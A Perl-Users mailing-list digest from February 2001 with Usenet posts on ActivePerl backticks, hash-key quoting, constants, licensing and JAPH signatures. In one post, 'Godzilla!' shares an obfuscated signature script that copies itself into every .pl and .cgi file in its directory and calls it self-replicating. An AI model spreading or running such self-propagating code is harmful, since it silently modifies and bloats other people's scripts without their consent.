[18047] in Perl-Users-Digest
Perl-Users Digest, Issue: 207 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Feb 3 18:05:43 2001
Date: Sat, 3 Feb 2001 15:05:09 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <981241509-v10-i207@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Sat, 3 Feb 2001 Volume: 10 Number: 207
Today's topics:
Re: * Perl vs. Java in high-traffic Website * (Abigail)
Re: `backticks` broken with fresh install of ActivePerl <tfbiv@SPAMMENOTerols.com>
Re: `backticks` broken with fresh install of ActivePerl <tfbiv@SPAMMENOTerols.com>
Anonymous FTP? <vetterjo@alpha.fh-furtwangen.de>
Re: Apologies to Joyce Kilmer, a hack for your enjoymen (Rudolf Polzer)
Re: Apologies to Joyce Kilmer, a hack for your enjoymen (Abigail)
Re: Apologies to Joyce Kilmer, a hack for your enjoymen (Abigail)
Re: Apologies to Joyce Kilmer, a hack for your enjoymen (Ilya Zakharevich)
Re: Easiest Question of the Day (Joe Smith)
Re: forcing compile errors on undeclared vars? iwelch@my-deja.com
Re: get an ip address (Joe Smith)
Re: Help: Script only runs if ' -w' is on line 1 <ron@savage.net.au>
Re: How To Reverse 8 bit arithmetic value (Rudolf Polzer)
Re: Is it possible for perl to open Dos programs? fenderstratocaster@my-deja.com
JAPH <godzilla@stomp.stomp.tokyo>
Re: JAPH <wuerz@yahoo.com>
Re: JAPH <godzilla@stomp.stomp.tokyo>
Re: Licensing a program written perl? ()
Re: Modules/Constants. (Garry Williams)
Re: Odd error with hashes. (Garry Williams)
Passwd and Shadow <stuart@zerostate.co.uk>
Re: Perl Puzzle! wtf is going on here... (Joe Smith)
Reading the first bytes from a file in the internet <dirtyzoe@yahoo.com>
Re: Reading the first bytes from a file in the internet <tony_curtis32@yahoo.com>
Re: REUSE CODE (BEGINNER LEVEL) <hading@worldnet.att.net>
Re: Sed in Perl Script Versus Sed in Unix (Joe Smith)
Substituting variables in a text file <jeffschell@home.com>
suidperl problem <cpegbeggar@mail.com>
Re: suidperl problem nobull@mail.com
Using Date::Manip to compute Fat Tuesday <skip@mojam.com>
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 3 Feb 2001 20:15:29 GMT
From: abigail@foad.org (Abigail)
Subject: Re: * Perl vs. Java in high-traffic Website *
Message-Id: <slrn97opn1.r6a.abigail@tsathoggua.rlyeh.net>
Reto Hersiczky (cut_here.retoh@dplanet.ch) wrote on MMDCCXIII September
MCMXCIII in <URL:news:Xns903D779016001cuthereretohdplanetc@195.186.1.107>:
&&
&& ! Need *your* opinion !
&&
&&
&& "Some guys explain to a customer: Websites from <that> kind of traffic
&& meet the edge of running dynamic pages with Perl. They sugguest to
&& make future developments in pure Java."
&&
&&
&& Technical Conditions:
&&
&& - Apache Webserver
&& - Sun Solaris
&& - Postgres database, ~ 15 Tables, < 50000 rows
&& - Web traffic approximately 25000 page views per hour
&&
&&
&& I assume the reason for their advise lies in the fact it is easyer
&& to protect the intellectual property with Servlets rather than
&& deploying a script where the customer becomes the ability to read code.
&&
&&
&& * Please reply your opinion!
Your posting doesn't include any relevant to form an opinion about.
You can do 25000 page views per hour without running any program other
than the webserver and what's needed to keep the OS up.
The best thing you can do is make a good test. Make it so that you can
actually claim that your results scale without being laughed at. (It's
easy to make a test. It's easy to multiply the numbers that are the outcome
of the test. It's not so easy to make your test such that the multiply
numbers actually mean something).
Abigail
--
$" = "/"; split $, => eval join "+" => 1 .. 7;
*{"@_"} = sub {foreach (sort keys %_) {print "$_ $_{$_} "}};
%{"@_"} = %_ = (Just => another => Perl => Hacker); &{%{%_}};
------------------------------
Date: Sat, 03 Feb 2001 13:52:04 -0500
From: Tom Bates <tfbiv@SPAMMENOTerols.com>
Subject: Re: `backticks` broken with fresh install of ActivePerl on Win98
Message-Id: <avho7ts62820dpodche2k0d6k75vf2lgm8@4ax.com>
On Sat, 3 Feb 2001 14:33:32 +0100, rpolzer@web.de (Rudolf Polzer)
wrote:
>Tom Bates <tfbiv@SPAMMENOTerols.com> schrieb Folgendes:
>> I installed ActivePerl on my Win98SE WinBook XL3 and found that the
>> backtick is broken - the output of the command is displayed rather
>> than captured by perl. This worked fine before my hard drive crashed
>> and I had to have it replaced (under warranty thank god). I also have
>> ActivePerl installed on another machine at another location, and
>> things all seem to be working fine (including scripts with backticks).
>>
>> I removed and reinstalled it (it's build 523 on CD that I bought back
>> in Nov 99), and it still does it.
>>
>> If I run this little test:
>>
>> $test = `cd`;
>> print "\$test = \"$test\"\n";
>> print $?;
>> print $!;
>> print "--";
>>
>> This is what I get:
>>
>> C:\Util\Perl>perl -w test.pl
>> C:\Util\Perl
>> $test = ""
>> $? = 0, $! = "No such file or directory"
>> --
>
>Try `command /c cd` instead of cd. If this works, you cannot use internal
>command.com commands in backticks.
>Then it also happens with del, copy, ren, dir etc.
>
>And try this:
>`xcopy /?`.
>
>See a pattern? xcopy is external and exists as an .exe file.
>
>You only can execute external commands in backticks because they seem to
>not open a command.com session. Internal commands are those DOS
>commands that you do not find as an .EXE, .COM or .BAT file on your hard
>drive.
Thanks for the quick reply. Unfortunately, this doesn't seem to be my
problem. Substituting `command /c cd` for `cd` in my script above
yields the same results: $test is empty and $! contains the string "No
such file or directory".
I started up the perl debugger like so: "perl -d -e 1", then did:
@test = `command /c dir`
The directory listing came out on the screen and @test was empty.
Similarly, @test = `xcopy /?` did the same, with the added side effect
that the perl debugger appeared to stop collecting input (no echo of
characters entered). Control-C worked successfully terminated perl.
One unusual thing I noticed is that on reinstalling, the installer
apparently neglected to put PerlCRT.dll in the \windows\system
directory. I'm sure it did it the first time, because this was one of
the files the uninstaller asked me if it should delete. I said yes,
thinking it would be reinstalled. I compared the perl\bin directory
with the same ActivePerl installation on another Win98 machine and saw
no other discrepancies.
Tom
------------------------------
Date: Sat, 03 Feb 2001 16:59:04 -0500
From: Tom Bates <tfbiv@SPAMMENOTerols.com>
Subject: Re: `backticks` broken with fresh install of ActivePerl on Win98
Message-Id: <cnuo7t49vohc1vhjpa7n0ih6kiq3ammpa3@4ax.com>
Well, this is really wacky. I did some reading on ActiveState's Win32
mailing list and got the idea that maybe I needed to set the
environment variable PERL5SHELL. It was not set at the time, although
COMSPEC was ok, so I would think that the perl install would know how
to find command.com.
Anyway, I "set PERL5SHELL=c:\windows\command.com" and did my "perl -d
-e 1" trick. No output at all - not to screen, not to variable.
Changed PERL5SHELL to c:\command.com and tried again. Still nothing.
(command.com resides in both places).
Then I removed PERL5SHELL from the environment, AND NOW IT WORKS! I
have NO CLUE what happened, but now it's working. Open a new DOS
window and it's still fixed.
Well, reboot and now it's broken again. I knew it was too good to be
true.
Tom
------------------------------
Date: Sun, 4 Feb 2001 00:00:32 +0100
From: "Jörg Vetter" <vetterjo@alpha.fh-furtwangen.de>
Subject: Anonymous FTP?
Message-Id: <981241479.136706@DS9.ai-lab.fh-furtwangen.de>
I have to write a perl script which connects to a host and find out if the
ftp server is anonymous. I already know that there´s running a ftp server
on this host.
Thanks in advance
Oliver Söder
------------------------------
Date: Sat, 3 Feb 2001 18:34:43 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: Apologies to Joyce Kilmer, a hack for your enjoyment
Message-Id: <slrn97og9j.p7j.rpolzer@rebounce.rpolzer-lx>
Joe Schaefer <joe+usenet@sunstarsys.com> schrieb Folgendes:
> rpolzer@web.de (Rudolf Polzer) writes:
>
> > Does not work. Perl complains about this. Is it really _your_ hack or did
> > you copy it from a book? I tried replacing the b with a 6 but that was
> > not the fault; I also tried inserting a x before it, but no text
> > appeared; just a row of all the same characters and then another one.
> >
> Are you using 5.6? It works fine for me on linux w/5.6,
> but not w/5.005_03.
Sorry, I have 5.005_03. I did not check it because I though "a current
Linux has a current Perl" (I am using S.u.S.E 7.0).
--
Nuper erat medicus, nunc est vispillo, Diaulus:
Quod vispillo facit, fecerat et medicus.
------------------------------
Date: 3 Feb 2001 20:04:58 GMT
From: abigail@foad.org (Abigail)
Subject: Re: Apologies to Joyce Kilmer, a hack for your enjoyment
Message-Id: <slrn97op3a.r6a.abigail@tsathoggua.rlyeh.net>
Rudolf Polzer (rpolzer@web.de) wrote on MMDCCXIII September MCMXCIII in
<URL:news:slrn97og9j.p7j.rpolzer@rebounce.rpolzer-lx>:
[] Joe Schaefer <joe+usenet@sunstarsys.com> schrieb Folgendes:
[] > rpolzer@web.de (Rudolf Polzer) writes:
[] >
[] > > Does not work. Perl complains about this. Is it really _your_ hack or did
[] > > you copy it from a book? I tried replacing the b with a 6 but that was
[] > > not the fault; I also tried inserting a x before it, but no text
[] > > appeared; just a row of all the same characters and then another one.
[] > >
[] > Are you using 5.6? It works fine for me on linux w/5.6,
[] > but not w/5.005_03.
[]
[] Sorry, I have 5.005_03. I did not check it because I though "a current
[] Linux has a current Perl" (I am using S.u.S.E 7.0).
*snort*
There's no relation between Linux and Perl. Linux is a kernel, written
in C. SuSE is a Linux _distribution_.
Abigail
--
perl -wle 'print "Prime" if (1 x shift) !~ /^1?$|^(11+?)\1+$/'
------------------------------
Date: 3 Feb 2001 20:09:22 GMT
From: abigail@foad.org (Abigail)
Subject: Re: Apologies to Joyce Kilmer, a hack for your enjoyment
Message-Id: <slrn97opbi.r6a.abigail@tsathoggua.rlyeh.net>
Clinton A. Pierce (clintp@geeksalad.org) wrote on MMDCCXIII September
MCMXCIII in <URL:news:1pVe6.277018$hD4.66747295@news1.rdc1.mi.home.com>:
__
__ It's a 5.6-ism. You aren't using 5.6? Shame on you. It's been out
__ since...well gee, at least the summer of 1999.
I guess summer was late in Detroit in 1999, but according to the file
Changes5.6, perl5.6.0 came into being on March 23, 2000.
Abigail
--
$_ = "\nrekcaH lreP rehtona tsuJ"; my $chop; $chop = sub {print chop; $chop};
$chop -> () -> () -> () -> () -> () -> () -> () -> () -> () -> () -> () -> ()
-> () -> () -> () -> () -> () -> () -> () -> () -> () -> () -> () -> () -> ()
------------------------------
Date: 3 Feb 2001 21:40:48 GMT
From: ilya@math.ohio-state.edu (Ilya Zakharevich)
Subject: Re: Apologies to Joyce Kilmer, a hack for your enjoyment
Message-Id: <95htt0$p69$1@charm.magnus.acs.ohio-state.edu>
[A complimentary Cc of this posting was sent to Abigail
<abigail@foad.org>],
who wrote in article <slrn97opbi.r6a.abigail@tsathoggua.rlyeh.net>:
> Clinton A. Pierce (clintp@geeksalad.org) wrote on MMDCCXIII September
> MCMXCIII in <URL:news:1pVe6.277018$hD4.66747295@news1.rdc1.mi.home.com>:
> __
> __ It's a 5.6-ism. You aren't using 5.6? Shame on you. It's been out
> __ since...well gee, at least the summer of 1999.
>
> I guess summer was late in Detroit in 1999, but according to the file
> Changes5.6, perl5.6.0 came into being on March 23, 2000.
And is still at pre-beta quality. Sigh. 5.006 was promised to be
released at Summer 1999, adn we still do not have a Perl-quality level
release.
Ilya
------------------------------
Date: 3 Feb 2001 19:55:44 GMT
From: inwap@best.com (Joe Smith)
Subject: Re: Easiest Question of the Day
Message-Id: <95hno0$2apc$1@nntp1.ba.best.com>
In article <7kFe6.1852$0E.249433@newsread1.prod.itd.earthlink.net>,
Jared Cobb <jared@cobb.net> wrote:
>I have no idea how to use Perl (I've downloaded the source) but don't know
>how to implement it onto my Win98 system.
For your own peace of mind, I recommend deleting the source that you
downloaded, and go download the compiled binaries instead.
You can find the link to ActiveState's binaries for Win32 promently
mentioned at http://www.perl.com/ . The http server that I am running
on my Win98 system came from http://www.sambar.com/ .
>Can one only use Perl on Unix systems?
The on-line documentation that comes with Perl describes the many and
various operating systems that Perl runs on.
1) Start->Programs->ActivePerl->Online Documentation
2) C:\>perldoc perlport
(In particular, note the use of binmode() for making scripts work
on both Unix and Win32.)
-Joe
--
See http://www.inwap.com/ for PDP-10 and "ReBoot" pages.
------------------------------
Date: Sat, 03 Feb 2001 18:37:10 GMT
From: iwelch@my-deja.com
Subject: Re: forcing compile errors on undeclared vars?
Message-Id: <95hj4m$ekr$1@nnrp1.deja.com>
In article <0Qie6.166437$P82.20078368@news1.rdc1.ct.home.com>,
Dan Sugalski <dan@tuatha.sidhe.org> wrote:
> iwelch@my-deja.com wrote:
> > In article <G_%d6.165942$P82.19896267@news1.rdc1.ct.home.com>,
> > Dan Sugalski <dan@tuatha.sidhe.org> wrote:
> >> iwelch@my-deja.com wrote:
> >>
> >> > I presume the silence means that the answer here is "no". It is
> >> > impossible to require definition at compilation time when a
variable
> >> > name contains a module identifier...
> >>
> >> The answer is, in fact, no. Fully qualifying a variable name is
enough
> >> to make strict happy.
> >>
>
> > Looks like we need a
> > use superstrict;
> > pragma. Is there a way to formally suggest this, or has this
already
> > been suggested to the Perl community?
>
> For what reason do you want this? It won't happen for perl 5, but it
> might for perl 6 if you have a really good reason. Or something else
> might be made available that does what you're looking to get done.
>
> Dan
For the same reason that "use strict;" is useful: it catches errors
systematically at compile-time, even for variables not encountered
during a particular run-time invokation. (I recently changed a couple
of package variable names. Its not so easy to determine if I had
successfully changed all usages of the variables, too.)
/iaw
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: 3 Feb 2001 19:36:52 GMT
From: inwap@best.com (Joe Smith)
Subject: Re: get an ip address
Message-Id: <95hmkk$298m$1@nntp1.ba.best.com>
In article <%B%d6.311405$MA1.10183960@afrodite.telenet-ops.be>,
Storm <storm@isbangelijk.com> wrote:
>how do I get an ip addres of my network card?
>
>this must be os independant
>you may not use the program "ipconfig.exe" and then parse every line until
>you have found the ip
I've found that
@netstat = `netstat -rn`;
works for both Unix and Windows-95, but you still have to parse every line
looking for the ones with the right netmask for an interface card.
-Joe
--
See http://www.inwap.com/ for PDP-10 and "ReBoot" pages.
------------------------------
Date: Sun, 4 Feb 2001 10:39:52 +1100
From: "Ron Savage" <ron@savage.net.au>
Subject: Re: Help: Script only runs if ' -w' is on line 1
Message-Id: <RN%e6.679$sS4.21901@ozemail.com.au>
See below
--
Cheers
Ron Savage
ron@savage.net.au
http://savage.net.au/index.html
[snip]
>
> With all due respect, I simply don't believe you. Please post
> the output of
>
> % perl -le '$_=<>;map{print "$_:". ord $_}/./sg;' x.pl
>
OK. It's Sunday morning here now. I'll run it at work tomorrow and post
tomorrow evening. Hold your breath.
------------------------------
Date: Sat, 3 Feb 2001 18:49:04 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: How To Reverse 8 bit arithmetic value
Message-Id: <slrn97oh4g.p7j.rpolzer@rebounce.rpolzer-lx>
Garry Williams <garry@zvolve.com> schrieb Folgendes:
> On Sat, 03 Feb 2001 07:13:16 GMT, John W. Krahn <krahnj@acm.org> wrote:
> >gipperca@my-deja.com wrote:
> >>
> >> How would I reverse an 8 bit value???
> >>
> >> If the binary value were 01110001, or 0x71, I want the reversed
> >> value, 10001110, or 0x8e.
> >
> >$ perl -e '$x = "\x71"; $y = ~$x; printf "%X %X\n", ord $x, ord $y;'
> >71 8E
>
> If you can't be right, at least be lucky! :-)
>
> On second thought, maybe the OP really meant `invert' when he said
> `reverse'. Hmmm.
Typical of newbies. They always find one of the only examples that create
confusion. I also saw it as inversion.
What about this?
~pack ("C", unpack ("b*", pack ("B*", unpack ("C", ~$x))))
Perhaps this could be a part of a hack:
~pcunpbpBunpc~x
could be regexped to the former one.
--
Nuper erat medicus, nunc est vispillo, Diaulus:
Quod vispillo facit, fecerat et medicus.
------------------------------
Date: Sat, 03 Feb 2001 18:21:55 GMT
From: fenderstratocaster@my-deja.com
Subject: Re: Is it possible for perl to open Dos programs?
Message-Id: <95hi7s$dqo$1@nnrp1.deja.com>
O.K. I got it working. Thank you for the "point in the right direction."
One more thing though.
What would people need to do, to get this program to run on their
system? Or is Perl a bad language to use for this sort of programming?
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: Sat, 03 Feb 2001 09:41:08 -0800
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: JAPH
Message-Id: <3A7C42B4.3B42484E@stomp.stomp.tokyo>
Just when you think your Just Another Perl Hacker
signature file is the ultimate, along comes Godzilla!
STOMP! STOMP! SQUISH!! Go Go Godzilla!
Oh No! They say she's got to go! Go Go Godzilla!
My signature file is most unique, perhaps the first
of its kind, much like myself; an oddity of super
spectacular splendor sending shivers up and down
spines of man and beast alike, in an enjoyable fashion,
or less so, depending on the fragility of your ego
and how much false pride you take in your JAPH.
This signature file is self-replicating and will attach
itself to any cgi or pl application sharing its directory.
Those applications will replicate my JAPH as well,
spreading it like warts on a Duroc hog. However, it is
a benign but bountiful script; it causes no damage.
For some safety, I have restricted my signature file
to attach itself to only Perl applications sharing the
same directory. However, it will display an exponential
growth rate, which should be well noted as a caution;
not everyone has a seven-hundred-sixty-eight megabyte
RAM with a one-gigabyte virtual, like my system does.
A "cure" for this JAPH is as simple as opening your program
editor, or a text editor, and deleting what it adds to a
Perl application. It has no effect on any other files and
cannot "escape" to run amok like myself, unless you, the
reader, opens it cage door and sets it free.
Should one or more of you TechnoGeeksters like to tinker
with this marvel of mine, do follow some safety guidelines.
Copy it precisely and exactly, then install my signature
file as a perl script, either pl or cgi, in a directory
all to itself along with one, or better, two or three
other Perl applications, "Hello World" types will do
just fine. Run my signature file, then the others.
Be * SURE * it is in a safe directory and no other files
of value are in this directory. It will attach itself to
all other Perl scripts. Even so, easy enough to cure in
less than minute with your favorite editor. Just be
careful; it actually works, like all my scripts I post!
For you boys, I have obfuscated this code, just the
way you like it! Enjoy a bit of amusement. However,
remember NOT to run it in a directory populated with
Perl files you don't want authographed by my truly one
of a kind absolutely amazing bit of Godzilla hacking!
Ok you TechnoGeeksters, lets see you top this one!
Godzilla! Just Amazing Perl Hacker
--
#¿
@©=(a .. z);@®=qw(7 15 4 26 9 12 12 1 18 15 3 11 19);
$Ø=""; @Ø=();for($§=$®[$®[0]];$§<$®[0];$§++)
{sub G{rand(1000)<500?"\u$1":"\l$1";}foreach$¿(@®)
{$¢=$©[$¿-1];$¢=~s¡([a-z])¡G($1)¡gie;$Ø="$Ø$¢";}
$Ø="$Ø! ";$ø=substr($Ø,$®[12]-$®[11],0," ");
$Ø=~s¯(a)(r)¯$1 $2¯i;push(@Ø,$Ø);}foreach$¡(@Ø)
{print"$¡\n";}@¶=reverse(@Ø);foreach$¶(@¶){print"$¶\n";}
opendir(Z,".");@Zz=readdir(Z);closedir(Z);open(D,$0);
$À=join("",<D>);$§=index($À,"#¿");$¢=rindex($À,"#¿");
$À=substr($À,$§,$¢-$§+2);close(D);foreach$¡(@Zz)
{if(substr($¡,-3,3)eq"cgi"||substr($¡,-2,2)eq"pl")
{open(ZZ,">>$¡");print ZZ$À;close(ZZ);}}
#¿
------------------------------
Date: Sat, 03 Feb 2001 19:53:40 +0100
From: Mona Wuerz <wuerz@yahoo.com>
Subject: Re: JAPH
Message-Id: <030220011953405664%wuerz@yahoo.com>
In article <irrelevant>, <snipped> wrote:
#!:perl -w
use strict;
use diagnostics;
> #¿
> @©=(a .. z);@®=qw(7 15 4 26 9 12 12 1 18 15 3 11 19);
> $Ø=""; @Ø=();for($§=$®[$®[0]];$§<$®[0];$§++)
> {sub G{rand(1000)<500?"\u$1":"\l$1";}foreach$¿(@®)
> {$¢=$©[$¿-1];$¢=~s¡([a-z])¡G($1)¡gie;$Ø="$Ø$¢";}
> $Ø="$Ø! ";$ø=substr($Ø,$®[12]-$®[11],0," ");
> $Ø=~s¯(a)(r)¯$1 $2¯i;push(@Ø,$Ø);}foreach$¡(@Ø)
> {print"$¡\n";}@¶=reverse(@Ø);foreach$¶(@¶){print"$¶\n";}
> opendir(Z,".");@Zz=readdir(Z);closedir(Z);open(D,$0);
> $À=join("",<D>);$§=index($À,"#¿");$¢=rindex($À,"#¿");
> $À=substr($À,$§,$¢-$§+2);close(D);foreach$¡(@Zz)
> {if(substr($¡,-3,3)eq"cgi"||substr($¡,-2,2)eq"pl")
> {open(ZZ,">>$¡");print ZZ$À;close(ZZ);}}
> #¿
-----
# Bareword "a" not allowed while "strict subs" in use.
File 'Untitled'; Line 6 # (#1)
# Unquoted string "a" may clash with future reserved word.
File 'Untitled'; Line 6 # (#2)
# Bareword "z" not allowed while "strict subs" in use.
File 'Untitled'; Line 6 # (#1)
# Unquoted string "z" may clash with future reserved word.
File 'Untitled'; Line 6 # (#2)
# Too many arguments for substr, near "" ")"
File 'Untitled'; Line 10
# Global symbol "Zz" requires explicit package name.
File 'Untitled'; Line 13 # (#3)
# Untitled had compilation errors # (#4)
# Uncaught exception from user code:
# Untitled had compilation errors.
Now what?
-mona
------------------------------
Date: Sat, 03 Feb 2001 11:13:51 -0800
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: JAPH
Message-Id: <3A7C586F.F2018038@stomp.stomp.tokyo>
Mona Wuerz wrote:
> In article <irrelevant>, <snipped> wrote:
> #!:perl -w
> use strict;
> use diagnostics;
(snipped code)
> # Bareword "a" not allowed while "strict subs" in use.
> File 'Untitled'; Line 6 # (#1)
> # Unquoted string "a" may clash with future reserved word.
> File 'Untitled'; Line 6 # (#2)
> # Bareword "z" not allowed while "strict subs" in use.
> File 'Untitled'; Line 6 # (#1)
> # Unquoted string "z" may clash with future reserved word.
> File 'Untitled'; Line 6 # (#2)
> # Too many arguments for substr, near "" ")"
> File 'Untitled'; Line 10
> # Global symbol "Zz" requires explicit package name.
> File 'Untitled'; Line 13 # (#3)
> # Untitled had compilation errors # (#4)
> # Uncaught exception from user code:
> # Untitled had compilation errors.
> Now what?
Deal with your jealousy?
Godzilla!
------------------------------
Date: 3 Feb 2001 22:14:42 GMT
From: rfield@best.com ()
Subject: Re: Licensing a program written perl?
Message-Id: <95hvsi$2l7o$1@nntp1.ba.best.com>
You have two concerns - to be sure the program is not copied, and to be sure
the source code stays confidential. The second of these could be addressed
by using trying a Perl compiler, or by running the program through a mangler
that will take all the spaces, new-lines, etc, out of the program and also
change variable names to unreadable garbage. This will discourage
reverse engineering, but also require a QA cycle on the obfuscated code.
Do you plan mass licensing, that is do you see many customers, or just a few?
That would have an effect on licensing.
Would it be possible to re-implement the program in another language?
These are things you could be thinking about.
jbuff <jbuff1856@my-deja.com> writes:
>In article <93ie16$brj$1@nnrp1.deja.com>,
> bababozorg@aol.com wrote:
>> Hi
>>
>> I was wondering if there is a way to actually implement licencing in a
>> perl program... what i mean is simply... if a customer buys this
>> program written in perl, under one user license... is there anyway to
>> stop him if he gives a copy of the program to his friend to use or
>> something?
>>
>> i was thinking to insert an image like 1x1 pixle in the admin page of
>> the program... somewhere hidden, so that would send a request to a
>> program in our server... so users can be traced down... BUT thats not
>> such a good idea since the code can always be removed...
>>
>> do u guys have any ideas to implement this under perl? have you came
>> across a same problem before? or...
>>
>>
>Give the program away. Sell the support.
>--jbuff
>Sent via Deja.com
>http://www.deja.com/
------------------------------
Date: Sat, 03 Feb 2001 16:42:33 GMT
From: garry@zvolve.com (Garry Williams)
Subject: Re: Modules/Constants.
Message-Id: <ZxWe6.756$Sn3.27310@eagle.america.net>
On 03 Feb 2001 15:38:49 +0000, nobull@mail.com <nobull@mail.com> wrote:
>garry@zvolve.com (Garry Williams) writes:
>> On Sat, 03 Feb 2001 05:03:44 GMT, delanthear@my-deja.com
>> <delanthear@my-deja.com> wrote:
>
>> Simply changing the require to a use statement will get you what you
>> want. Now, at compile-time, the symbol HELLO is declared *before* its
>> use, so the compiler knows that it is a subroutine (constant):
>>
>> #!/usr/local/bin/perl -wl
>> use strict;
>> use x_h;
>> print STDOUT HELLO;
>>
>> $ perl x
>> hello
... Where x_h.pm is:
use constant HELLO => 'hello';
1;
In other words, it is not declared in its own name space, so it will
be incorporated into the name space that use's it first. This is the
Bad Thing described below:
>You are still giving dangerous advice. This works fine so long as
>only one package trys to "use x_h". This may be the case now but as
>the program becomes bigger it is likely that one day it will need to
>split into multiple packages (or even modules). At that time it will
>fail. Worse still you may write a modules that use x_h they will seem
>to work fine until such time as you try to use more than one of these
>modules in the same script.
To illustrate nobull's point:
$ cat x
#!/usr/local/bin/perl -l
package A;
use warnings;
use strict;
use x_h;
print HELLO;
package B;
use warnings;
use strict;
use x_h; # already loaded in package A
print HELLO;
__END__
$ perl x
Name "B::HELLO" used only once: possible typo at x line 14.
hello
Filehandle B::HELLO never opened at x line 14.
$
>The is a module designed to overcome this problem - it is called
>Exporter.
Declaring constants in their own name space and exporting into the
using name space prevents this problem.
--
Garry Williams
------------------------------
Date: Sat, 03 Feb 2001 16:16:19 GMT
From: garry@zvolve.com (Garry Williams)
Subject: Re: Odd error with hashes.
Message-Id: <n9We6.754$Sn3.26759@eagle.america.net>
On Sat, 3 Feb 2001 07:52:37 -0800, Christopher M. Jones
<christopher_j@uswest.net> wrote:
>I was under the impression that with Perl 5 the text inside
>the brackets for a hash key is implicitly quoted. IOW, it's
>not necessary to put extra quotations around it. However, I
>ran into an odd error where I had a dash in a hash key and
>it interpreted the key as 0 (zero). Is this a bug or am I
>missing something?
>
>
>Here's some mock-up sample code that would cause the problem:
>
>$a->{hash-key} = $something;
>
>Which evaluates differently thant:
>
>$a->{'hash-key'} = $something;
Well, the situation would be a bit clearer, if you enabled warnings:
$ perl -w
$a->{hash-key} = $something;
Unquoted string "hash" may clash with future reserved word at - line 1.
$a->{'hash-key'} = $something;
__END__
Argument "key" isn't numeric in subtraction (-) at - line 1.
Argument "hash" isn't numeric in subtraction (-) at - line 1.
$
The code would not even compile, if you enabled strictures:
$ perl -Mstrict -w
my %a;
my $something;
$a->{hash-key} = $something;
$a->{'hash-key'} = $something;
__END__
Bareword "hash" not allowed while "strict subs" in use at - line 3.
Bareword "key" not allowed while "strict subs" in use at - line 3.
Execution of - aborted due to compilation errors.
$
You should always enable warnings and strictures. Certainly you
should before posting. perl will help you debug your program.
The manual can help, too. In the perldata manual page, in the "Scalar
value constructors" section, you will find:
In fact, an identifier within ... curlies is forced to be a
string, as is any *simple* *identifier* within a hash subscript.
Neither need quoting. Our earlier example, `$days{'Feb'}'
can be written as `$days{Feb}' and the quotes will be
assumed automatically. But anything more complicated in the
subscript will be interpreted as an expression.
I added the emphasis.
--
Garry Williams
------------------------------
Date: Sat, 3 Feb 2001 18:14:16 -0000
From: "Stuart Lowes" <stuart@zerostate.co.uk>
Subject: Passwd and Shadow
Message-Id: <kSXe6.13032$LQ2.200981@news2-win.server.ntlworld.com>
Hi
I am writing a web interface for user admin and other things, like apache on
a solaris box. I am learning perl and unix as I go for my final year degree
project.
Can anyone suggest good ways of modifying the passwd and shadow files as
well as the other obvious admin files.
Obviously I want to avoid running the script as root if possible; but as the
script is run from the web I know it doesn't have the permissions to modify
the files.
I have found in my research the shadow module, has anyone used it and is it
any good and does it get round the permissions problems?
If people could suggest good ways of approaching these problems, reading and
writing to the passwd and shadow or point me towards articles to read I
would be grateful.
King regards,
Stu
------------------------------
Date: 3 Feb 2001 19:43:36 GMT
From: inwap@best.com (Joe Smith)
Subject: Re: Perl Puzzle! wtf is going on here...
Message-Id: <95hn18$29p7$1@nntp1.ba.best.com>
In article <95f2s6$ha6$1@nnrp1.deja.com>, <cookconsulting@my-deja.com> wrote:
>I have slaved over a script to separate out the month from a web server
>log, and it works, however something very unusual happens: <> swallows
>the first non-matching line.
No, it doesn't. It gives you the first non-matching line, which you
then throw away unceremoniously.
while(<> !~ m/(\d+)\.(\d+)\.(\d+)\.(\d+)(\s)(\W)(\s)(\W)(\s)(\[)(\d{2})\/$Month\//)
{}
$LogData .= $_; # Save non-matching line so it won't get lost.
#while (<>)
#{ $LogData = $LogData.$_; }
$LogData .= join '',<>; # Add rest of file to nonmatching line.
-Joe
--
See http://www.inwap.com/ for PDP-10 and "ReBoot" pages.
------------------------------
Date: Sat, 03 Feb 2001 18:53:54 +0100
From: Zoe Sonderlich <dirtyzoe@yahoo.com>
Subject: Reading the first bytes from a file in the internet
Message-Id: <3A7C45B2.5A3FD740@yahoo.com>
Hello
I have the url of a file
(e.g. "http://www.somewhere.com/folder/file.abc");
and i want to READ ONLY THE FIRST 100 BYTES
from the file NOT THE WHOLE FILE like lwt::simple::get()
How can i manage this easily
Thank you
------------------------------
Date: 03 Feb 2001 12:06:15 -0600
From: Tony Curtis <tony_curtis32@yahoo.com>
Subject: Re: Reading the first bytes from a file in the internet
Message-Id: <87g0hv1w14.fsf@limey.hpcc.uh.edu>
>> On Sat, 03 Feb 2001 18:53:54 +0100,
>> Zoe Sonderlich <dirtyzoe@yahoo.com> said:
> Hello I have the url of a file
> (e.g. "http://www.somewhere.com/folder/file.abc"); and i
> want to READ ONLY THE FIRST 100 BYTES from the file NOT
> THE WHOLE FILE like lwt::simple::get()
Use HTTP::Request, and LWP::UserAgent with the 3 argument
callback form.
perldoc LWP::UserAgent
perldoc HTTP::Request
hth
t
--
Eih bennek, eih blavek.
------------------------------
Date: Sat, 03 Feb 2001 16:17:38 GMT
From: Howard Ding <hading@worldnet.att.net>
Subject: Re: REUSE CODE (BEGINNER LEVEL)
Message-Id: <3A7C2E92.BB4E0737@worldnet.att.net>
You probably want to look into the concept of modules. You can find
more infomation under the sections of the manual perlmod, perlmodlib,
etc.
>
> I have a perl code which i want to use in other perl programs. How
> can i do it? how does the library concept in perl i mean can i make a user
> defned linrary?
>
> Thanks in advance
--
Howard Ding
hading@worldnet.att.net
http://math.sunysb.edu/~hading http://thunder.prohosting.com/~hading
------------------------------
Date: 3 Feb 2001 19:31:59 GMT
From: inwap@best.com (Joe Smith)
Subject: Re: Sed in Perl Script Versus Sed in Unix
Message-Id: <95hmbf$2903$1@nntp1.ba.best.com>
In article <959ve6$3ak$1@nnrp1.deja.com>, <smnsn@my-deja.com> wrote:
